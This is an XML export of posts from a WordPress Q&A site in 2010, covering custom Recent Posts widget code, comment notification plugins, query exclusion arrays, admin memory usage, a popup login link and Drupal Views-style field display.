  <row Id="2408" PostTypeId="2" ParentId="2405" CreationDate="2010-09-30T15:03:00.727" Score="0" ViewCount="" Body="&lt;p&gt;You can copy the widget code (see /wp-includes/default-widgets.php) and modify the query line.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-30T15:03:00.727" CommentCount="2" />
  <row Id="2409" PostTypeId="1" AcceptedAnswerId="2414" CreationDate="2010-09-30T15:12:00.887" Score="2" ViewCount="134" Body="&lt;p&gt;WordPress.com has a rather cool feature when you add comments. The two features are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   [x] Notify me of follow-up comments via email.&#xA;   [x] Notify me of new posts via email.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this plugin available somewhere so that I can include it on my privately hosted blog? &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-09-30T15:43:55.507" Title="Plugin from WordPress.com for comment notification...available?" Tags="&lt;comments&gt;&lt;plugins&gt;&lt;notifications&gt;" AnswerCount="1" />
  <row Id="2410" PostTypeId="2" ParentId="2405" CreationDate="2010-09-30T15:13:10.287" Score="3" ViewCount="" Body="&lt;p&gt;You'll have to edit the code for the &lt;em&gt;Recent Posts&lt;/em&gt; widget or create your own version based on the default.  The code is in the &lt;code&gt;wp-includes/default-widgets.php&lt;/code&gt; file around line 513.  But since you should never make modifications to core, my recommendation would be to copy the code to create your own &lt;em&gt;My Custom Recent Posts&lt;/em&gt; widget  and use that on your site.  Just drop the new widget class into your theme's &lt;code&gt;functions.php&lt;/code&gt; file or use it in a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real modification you need to make are to the widget's class name and encapuslated functions and options (so that there aren't any naming conflicts with the original &lt;em&gt;Recent Posts&lt;/em&gt; widget.  After that, you'll need to edit the call to &lt;code&gt;WP_Query&lt;/code&gt; in the &lt;code&gt;widget()&lt;/code&gt; constructor so that it includes your custom post type.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For this example, I've set &lt;code&gt;post_type&lt;/code&gt; equal to &lt;code&gt;array('post, 'page', 'custom-post-type')&lt;/code&gt; ... you'll need to modify that to fit your specific use case.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the widget's full code for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;  * My_Custom_Recent_Posts widget class&#xA;  *&#xA;  */&#xA;class WP_Widget_My_Custom_Recent_Posts extends WP_Widget {&#xA;&#xA;    function WP_Widget_My_Custom_Recent_Posts() {&#xA;        $widget_ops = array('classname' =&amp;gt; 'widget_my_custom_recent_entries', 'description' =&amp;gt; __( &quot;The most recent posts on your site&quot;) );&#xA;        $this-&amp;gt;WP_Widget('my-custom-recent-posts', __('My Custom Recent Posts'), $widget_ops);&#xA;        $this-&amp;gt;alt_option_name = 'widget_my_custom_recent_entries';&#xA;&#xA;        add_action( 'save_post', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;        add_action( 'deleted_post', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;        add_action( 'switch_theme', array(&amp;amp;$this, 'flush_widget_cache') );&#xA;    }&#xA;&#xA;    function widget($args, $instance) {&#xA;        $cache = wp_cache_get('widget_my_custom_recent_posts', 'widget');&#xA;&#xA;        if ( !is_array($cache) )&#xA;            $cache = array();&#xA;&#xA;        if ( isset($cache[$args['widget_id']]) ) {&#xA;            echo $cache[$args['widget_id']];&#xA;            return;&#xA;        }&#xA;&#xA;        ob_start();&#xA;        extract($args);&#xA;&#xA;        $title = apply_filters('widget_title', empty($instance['title']) ? __('My Custom Recent Posts') : $instance['title'], $instance, $this-&amp;gt;id_base);&#xA;        if ( !$number = (int) $instance['number'] )&#xA;            $number = 10;&#xA;        else if ( $number &amp;lt; 1 )&#xA;            $number = 1;&#xA;        else if ( $number &amp;gt; 15 )&#xA;            $number = 15;&#xA;&#xA;        $r = new WP_Query(array('showposts' =&amp;gt; $number, 'nopaging' =&amp;gt; 0, 'post_status' =&amp;gt; 'publish', 'ignore_sticky_posts' =&amp;gt; true, 'post_type' =&amp;gt; array('post', 'page', 'custom-post-type')));&#xA;        if ($r-&amp;gt;have_posts()) :&#xA;?&amp;gt;&#xA;        &amp;lt;?php echo $before_widget; ?&amp;gt;&#xA;        &amp;lt;?php if ( $title ) echo $before_title . $title . $after_title; ?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php  while ($r-&amp;gt;have_posts()) : $r-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php if ( get_the_title() ) the_title(); else the_ID(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php echo $after_widget; ?&amp;gt;&#xA;&amp;lt;?php&#xA;        // Reset the global $the_post as this query will have stomped on it&#xA;        wp_reset_postdata();&#xA;&#xA;        endif;&#xA;&#xA;        $cache[$args['widget_id']] = ob_get_flush();&#xA;        wp_cache_set('widget_my_custom_recent_posts', $cache, 'widget');&#xA;    }&#xA;&#xA;    function update( $new_instance, $old_instance ) {&#xA;        $instance = $old_instance;&#xA;        $instance['title'] = strip_tags($new_instance['title']);&#xA;        $instance['number'] = (int) $new_instance['number'];&#xA;        $this-&amp;gt;flush_widget_cache();&#xA;&#xA;        $alloptions = wp_cache_get( 'alloptions', 'options' );&#xA;        if ( isset($alloptions['widget_my_custom_recent_entries']) )&#xA;            delete_option('widget_my_custom_recent_entries');&#xA;&#xA;        return $instance;&#xA;    }&#xA;&#xA;    function flush_widget_cache() {&#xA;        wp_cache_delete('widget_my_custom_recent_posts', 'widget');&#xA;    }&#xA;&#xA;    function form( $instance ) {&#xA;        $title = isset($instance['title']) ? esc_attr($instance['title']) : '';&#xA;        if ( !isset($instance['number']) || !$number = (int) $instance['number'] )&#xA;            $number = 5;&#xA;?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('number'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Number of posts to show:'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('number'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('number'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $number; ?&amp;gt;&quot; size=&quot;3&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-30T15:13:10.287" CommentCount="5" />
  <row Id="2411" PostTypeId="2" ParentId="2404" CreationDate="2010-09-30T15:19:10.067" Score="5" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/viper007bond/&quot; rel=&quot;nofollow&quot;&gt;Alex M (Viper007Bond)&lt;/a&gt; (no.1 in terms of number)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/107&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/107.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/hakre/&quot; rel=&quot;nofollow&quot;&gt;hakre&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/178&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/178.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/alexkingorg/&quot; rel=&quot;nofollow&quot;&gt;Alex King&lt;/a&gt;&lt;/h2&gt;&#xA;" OwnerUserId="473" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-04T07:13:23.517" LastActivityDate="2011-02-04T07:13:23.517" CommunityOwnedDate="2010-09-30T15:19:10.067" CommentCount="2" />
  <row Id="2412" PostTypeId="2" ParentId="2404" CreationDate="2010-09-30T15:30:11.040" Score="8" ViewCount="" Body="&lt;h2&gt;Alex King&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://alexking.org/&quot; rel=&quot;nofollow&quot;&gt;Website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/alexkingorg/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org Profile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Mark Jaquith&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/3413&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/3413.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coveredwebservices.com/&quot; rel=&quot;nofollow&quot;&gt;Website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/markjaquith&quot; rel=&quot;nofollow&quot;&gt;WordPress Profiles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Otto&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/2232&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/2232.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/&quot; rel=&quot;nofollow&quot;&gt;Website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/Otto42/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org Profile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Stephen Rider&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://striderweb.com/blog/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/strider-core/&quot; rel=&quot;nofollow&quot;&gt;Google Code (Strider Core)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/strider72&quot; rel=&quot;nofollow&quot;&gt;WordPress.org Profile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-23T13:08:46.843" LastActivityDate="2011-02-23T13:08:46.843" CommunityOwnedDate="2010-09-30T15:30:11.040" CommentCount="3" />
  <row Id="2413" PostTypeId="1" CreationDate="2010-09-30T15:33:22.950" Score="2" ViewCount="230" Body="&lt;p&gt;I am building a WP theme and want to implement multiple color schemes. I looked through different free and premium themes and found out that this feature is developed different ways there and here. What is the best practice to make multiple color schemes support in a theme?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2010-09-30T19:53:00.940" Title="Wordpress theme with multiple color schemes" Tags="&lt;themes&gt;&lt;theme-development&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="2414" PostTypeId="2" ParentId="2409" CreationDate="2010-09-30T15:43:55.507" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gurken-subscribe-to-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/gurken-subscribe-to-comments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/subscribe2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-30T15:43:55.507" />
  <row Id="2415" PostTypeId="2" ParentId="2407" CreationDate="2010-09-30T16:16:04.137" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sociable/&quot; rel=&quot;nofollow&quot;&gt;Sociable&lt;/a&gt; adds sharing links for any social network sites you want (configurable).  To my knowledge, it doesn't add any trackware on the page (I have yet to see an officially hosted plugin do that).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-30T16:16:04.137" CommentCount="0" />
  <row Id="2416" PostTypeId="1" AcceptedAnswerId="2427" CreationDate="2010-09-30T16:38:49.213" Score="0" ViewCount="111" Body="&lt;p&gt;I have a function that returns an array os posts ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, everytime i have a query i have to to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ids = agendados();&lt;br&gt;&#xA;query_posts(array('post__not_in' =&gt; $ids );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to maintain the array by calling that on header.php and use this array everytime a do a query_posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that doing on my way its a overload of querys..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks m8s&#xA;Sorry about my poor english&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://zarpa.eu&quot; rel=&quot;nofollow&quot;&gt;www.zarpa.eu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="433" LastEditorDisplayName="" LastEditDate="2010-09-30T16:45:09.343" LastActivityDate="2010-10-01T15:45:55.137" Title="Always using the same ARRAY on different querys" Tags="&lt;query-posts&gt;" AnswerCount="3" />
  <row Id="2417" PostTypeId="2" ParentId="2416" CreationDate="2010-09-30T16:50:10.850" Score="1" ViewCount="" Body="&lt;p&gt;I would actually recommend a different approach:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a special category for this set of posts (for example: 'Not in Loop').  Then, when you call &lt;code&gt;query_posts()&lt;/code&gt; you can &lt;a href=&quot;http://codex.wordpress.org/The_Loop#Exclude_Posts_From_Some_Category&quot; rel=&quot;nofollow&quot;&gt;exclude posts based on that category&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to stick with your original functionality ... add a function to &lt;code&gt;wp_head&lt;/code&gt; that sets your array of IDs and then reference that as a global variable whenever you call &lt;code&gt;query_posts()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ignore_ids() {&#xA;    $ignore_ids = agendados();&#xA;}&#xA;add_action('wp_head', 'ignore_ids');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $ignore_ids;&#xA;query_posts( array('post__not_in' =&amp;gt; $ignore_ids) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-30T16:50:10.850" CommentCount="1" />
  <row Id="2418" PostTypeId="1" CreationDate="2010-09-30T17:07:35.687" Score="1" ViewCount="74" Body="&lt;p&gt;I have seen tips which show you how to display the memory usage of your website. This usually involves adding php code to your website theme's function.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am looking to display the memory usage in the admin, not on the front-end website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I display the memory usage of the wordpress admin from within the admin?&lt;/p&gt;&#xA;" LastActivityDate="2010-09-30T18:51:25.777" Title="Find Memory Usage of Admin" Tags="&lt;admin&gt;&lt;memory&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2419" PostTypeId="2" ParentId="2416" CreationDate="2010-09-30T17:30:19.163" Score="0" ViewCount="" Body="&lt;p&gt;im doing something wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function agendados() {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$ids = array();&#xA;$todaysDate = date('Y-m-d H:i:s');&#xA;$hoje = strtotime($todaysDate);&#xA;&#xA;$query = &quot;SELECT post_date, ID from $wpdb-&amp;gt;posts WHERE post_status='publish'&quot;;&#xA;$posts = $wpdb-&amp;gt;get_results($query);&#xA;&#xA;if ($posts):&#xA;    foreach ($posts as $post) {&#xA;        $data_post = $post-&amp;gt;post_date;&#xA;        $str = strtotime($data_post);&#xA;        if ($str &amp;lt; $hoje) {&#xA;            $ids[] = $post-&amp;gt;ID;&#xA;        }&#xA;    }&#xA;endif;&#xA;return $ids;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;br&gt;&#xA;add_action('wp_head', 'agendados');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;global $ids; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array (&#xA;'post__not_in' =&amp;gt; $ids,&#xA;'showposts' =&amp;gt; 30,&#xA;'order' =&amp;gt; ASC,&#xA;);&#xA;global $post;&#xA;$posts = get_posts($args);&#xA;if ($posts) {&#xA;    foreach ($posts as $post) {&#xA;        setup_postdata($post);&#xA;        $data = get_the_date('Y-m-d');&#xA;            echo $data;echo '&amp;lt;br/&amp;gt;';&#xA;        }       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the $ids array didn't contain anything :/&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2010-09-30T17:30:19.163" CommentCount="1" />
  <row Id="2420" PostTypeId="1" CreationDate="2010-09-30T17:58:35.667" Score="1" ViewCount="779" Body="&lt;p&gt;I'm using WP3 with the defaul theme. I would like people to register before submit a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is having a link instead of the comment form that says something like &quot;Leave a comment&quot;. Clicking this link would open a popup window with a login/register form or the comment form if people already signed in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1102" LastActivityDate="2011-02-02T22:04:38.277" Title="Login form in popup" Tags="&lt;customization&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="2421" PostTypeId="2" ParentId="2420" CreationDate="2010-09-30T18:08:33.300" Score="-4" ViewCount="" Body="&lt;p&gt;It's possible, with custom coding.&lt;/p&gt;&#xA;" OwnerUserId="1079" LastActivityDate="2010-09-30T18:08:33.300" CommentCount="3" />
  <row Id="2422" PostTypeId="2" ParentId="2420" CreationDate="2010-09-30T18:20:22.480" Score="4" ViewCount="" Body="&lt;p&gt;My recommendation would be to use a plug-in like &lt;a href=&quot;http://wordpress.org/extend/plugins/lightbox-plus/&quot; rel=&quot;nofollow&quot;&gt;Lightbox Plus&lt;/a&gt; to power your link.  Clicking the link would load your standard login form inside a lightbox.  You could then automatically redirect to the same page so that, once logged in, users can leave a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you'd dynamically build your link to be something link this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://yoursite.com/wp-login.php?redirect_to=http%3A%2F%2Fyoursite.com%2Fpostname&quot; &#xA;   rel=&quot;lightbox[login-form]&quot; &#xA;   title=&quot;Please login to comment&quot;&amp;gt;Login to Comment&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would load the login form in a lightbox and set it to redirect to the post upon successful authentication.  This &lt;em&gt;might&lt;/em&gt; be all you need, but I haven't tested it ... so give it a try and, if needed, add some other scripts to reload the page upon successful login.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-30T18:20:22.480" CommentCount="4" />
  <row Id="2423" PostTypeId="1" CreationDate="2010-09-30T18:39:03.537" Score="3" ViewCount="375" Body="&lt;p&gt;I admit, I still think in Drupal. (In choosing between developing in WordPress and Drupal, I still tend to favor Drupal, because I haven't yet figured out a few things on the WordPress side.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can you help to figure out how to achieve in WordPress at least some of the Views functionality I know and love?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that plugins that work with Custom Post Types are the WordPress equivalent of CCK. Now, is there a way (either through a UI or code) to:&#xA;1. display custom fields in columns and rows&#xA;2. Expose filters, that is, create drop-downs at the top, to allow the end user to select &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample image of a single exposed field.&#xA;&lt;a href=&quot;http://www.packtpub.com/sites/default/files/Article-Images/drupalviews-article1-timage18.png&quot; rel=&quot;nofollow&quot;&gt;http://www.packtpub.com/sites/default/files/Article-Images/drupalviews-article1-timage18.png&lt;/a&gt; (from my book)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Variations would include filtering by more than one topic or custom field, being able to select multiple options, selecting on fields that are not just categories or tags, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's one argument to be made that if I like Drupal so much, I should use it. But I think I could be a happy WordPress user too, if I could figure out how to display custom fields,and how to allow end-users to select through exposed filters. Any guidance welcome. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm studiously working my way through two answers so far. And so far I've been able to create custom fields, and display them, one post at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've added to my single.php. (It's somewhat messy, and I welcome ideas for improvement.) But what I still have to do is &lt;strong&gt;get this out of the single.php context, so that I can display ALL post fields&lt;/strong&gt;, and not just the current ID. &lt;strong&gt;(Also, my current css yields .meta_items displaying under the wrong .meta_table_header&lt;/strong&gt; if there are blank fields. Seems setting the width doesn't work if the element is empty, so somehow I have to populate it with a nobreak-space.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also installed the Custom Field Template plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;, and figured out how to comma-delimit the results of multiple checkbox selections. (I haven't played much with Custom field Template yet, but I have the feeling I'm going to like it.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;meta_table&quot;&amp;gt;&#xA;  &amp;lt;?php &#xA;  $div_meta_row =  '&amp;lt;div class=\'row\'&amp;gt;';&#xA;  $div_meta_item ='&amp;lt;div class=\'meta_item\'&amp;gt; ';&#xA;  $div_meta_table_header='&amp;lt;div class =\'meta_table_header\'&amp;gt;';&#xA;  $div_end='&amp;lt;/div&amp;gt;';&#xA;&#xA;   echo $div_meta_row;&#xA;   echo $div_meta_table_header, &quot;Breakfast&quot;, $div_end, $div_meta_table_header, &quot;Currently Reading&quot;, $div_end, $div_meta_table_header, &quot;Hours of Sleep&quot;, $div_end, $div_meta_table_header,'Favorite Fruits', $div_end;&#xA;   echo $div_end;&#xA;&#xA;   echo $div_meta_row;&#xA;      $meta_values = get_post_meta($post-&amp;gt;ID, 'Breakfast', $single);&#xA;      echo  $div_meta_item, $meta_values, $div_end;&#xA;      $meta_values = get_post_meta($post-&amp;gt;ID, 'Currently Reading', $single); &#xA;      echo $div_meta_item, $meta_values, $div_end;&#xA;      $meta_values = get_post_meta($post-&amp;gt;ID, 'Hours of Sleep', $single);&#xA;      echo $div_meta_item, $meta_values, $div_end;&#xA;      $meta_values=implode(get_post_meta($post-&amp;gt;ID, 'Favorite Fruits', 0), ', ');&#xA;      echo $div_meta_item, $meta_values, $div_end;&#xA;    echo $div_end;&#xA; ?&amp;gt;  &#xA; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the accompanying style sheet, which I placed in header.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;#meta_table .row {&#xA;float:left;&#xA;margin:10px 0;&#xA;}&#xA;#meta_table .row .meta_item, .meta_table_header {&#xA;width:120px;&#xA;margin-right:10px;&#xA;float:left;&#xA;}&#xA;.meta_table_header {&#xA;font-weight:bold;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I get all the posts' fields to display in a separate URL, I'll work on the &quot;custom fields parameters of query_posts.&quot; So, I know more than I did when I first asked the question. Still a ways to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Drupal Views offers a powerful UI, and so far this is almost all coding, but I'll wait until I truly have this figured out in WordPress before making any pronouncements about which is easier. I'm hoping in the end to enable the user to filter by multiple custom fields in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what this looks like so far. Aiming for something more like: &lt;a href=&quot;http://bit.ly/aSBqrt&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/aSBqrt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ecqJM.png&quot; alt=&quot;Progress so far...&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1079" LastEditorUserId="1079" LastEditorDisplayName="" LastEditDate="2010-10-04T17:29:14.093" LastActivityDate="2010-10-04T17:29:14.093" Title="How to replicate some of Drupal Views functionality in WordPress?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;search&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" />
  <row Id="2424" PostTypeId="2" ParentId="2407" CreationDate="2010-09-30T18:49:25.607" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.addthis.com/&quot; rel=&quot;nofollow&quot;&gt;AddThis&lt;/a&gt; is awesome. The plugin for WordPress works well, but I prefer to use their API to customize the experience. I use this on everything.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-30T18:49:25.607" CommentCount="5" />
  <row Id="2425" PostTypeId="2" ParentId="2418" CreationDate="2010-09-30T18:51:25.777" Score="1" ViewCount="" Body="&lt;p&gt;The easist way is the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-system-health/&quot; rel=&quot;nofollow&quot;&gt;WP System Health&lt;/a&gt;, great plugin and works fine. Alternativ you build a function and hook in wp-admin; example admin_footer&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-09-30T18:51:25.777" CommentCount="1" />
  <row Id="2426" PostTypeId="2" ParentId="2384" CreationDate="2010-09-30T18:54:58.440" Score="0" ViewCount="" Body="&lt;p&gt;Alternativ and very easy: use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;Adminimize&lt;/a&gt;, this plugin have many options and you can add your own options. This plugin is my own and i will coding a newer plugin with better code. Maybe its help for a csutom solution to read the source.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-10-02T21:34:24.110" LastActivityDate="2010-10-02T21:34:24.110" CommentCount="7" />
